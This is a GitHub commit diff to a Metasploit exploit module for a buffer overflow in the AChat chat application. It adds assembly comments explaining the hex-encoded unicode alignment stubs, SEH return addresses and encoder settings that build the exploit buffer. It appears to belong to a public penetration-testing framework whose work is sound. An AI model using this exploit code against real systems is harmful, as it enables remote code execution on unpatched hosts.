Skip to content

Commit c7880ab

Browse files
committed
hex strings related explanations
1 parent 9891026 commit c7880ab

File tree

1 file changed

+35
-0
lines changed

1 file changed

+35
-0
lines changed

modules/exploits/windows/misc/achat_beta.rb

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -67,6 +67,22 @@ def initialize(info = {})
6767
def exploit
6868
connect_udp
6969

70+
# 0055 00 ADD BYTE PTR SS:[EBP],DL # padding
71+
# 2A00 SUB AL,BYTE PTR DS:[EAX] # padding
72+
# 55 PUSH EBP # ebp holds a close pointer to the payload
73+
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
74+
# 58 POP EAX # mov eax, ebp
75+
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
76+
# 05 00140011 ADD EAX,11001400 # adjusting eax
77+
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
78+
# 2D 00130011 SUB EAX,11001300 # lea eax, eax+100
79+
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
80+
# 50 PUSH EAX # eax points to the start of the shellcode
81+
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
82+
# 58 POP EAX # padding
83+
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
84+
# 59 POP ECX # padding
85+
# 0039 ADD BYTE PTR DS:[ECX],BH # padding
7086
firststage = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"
7187
encoder = framework.encoders.create('x86/unicode_mixed')
7288
encoder.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
@@ -78,7 +94,26 @@ def exploit
7894
sploit << "\x61\x40" # POPAD + INC EAX
7995

8096
sploit << target.ret # AChat.exe p/p/r address
97+
8198
# adjusting the first thread's unicode payload, tricky asm-fu
99+
# the first seh exception jumps here, firststage variable will be executed
100+
# by the second seh exception as well. It needs to be in sync with the second
101+
# thread, so that is why we adjust eax/ebp to have a close pointer to the
102+
# payload, then firststage variable will take the rest of the job.
103+
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
104+
# 55 PUSH EBP # ebp with close pointer to payload
105+
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
106+
# 58 POP EAX # put ebp to eax
107+
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
108+
# 2A00 SUB AL,BYTE PTR DS:[EAX] # setting eax to the right place
109+
# 2A00 SUB AL,BYTE PTR DS:[EAX] # adjusting eax a little bit more
110+
# 05 00140011 ADD EAX,11001400 # more adjusting
111+
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
112+
# 2D 00130011 SUB EAX,11001300 # lea eax, eax+100
113+
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
114+
# 50 PUSH EAX # saving eax
115+
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
116+
# 5D POP EBP # mov ebp, eax
82117
sploit << "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + "C"*9 + "\x60\x43"
83118
sploit << "\x61\x43" + target.ret # second nseh entry, for the second thread
84119
sploit << "\x2A" + firststage + "C"*(157-firststage.length-31-3) # put address of the payload to EAX

0 commit comments

Comments
 (0)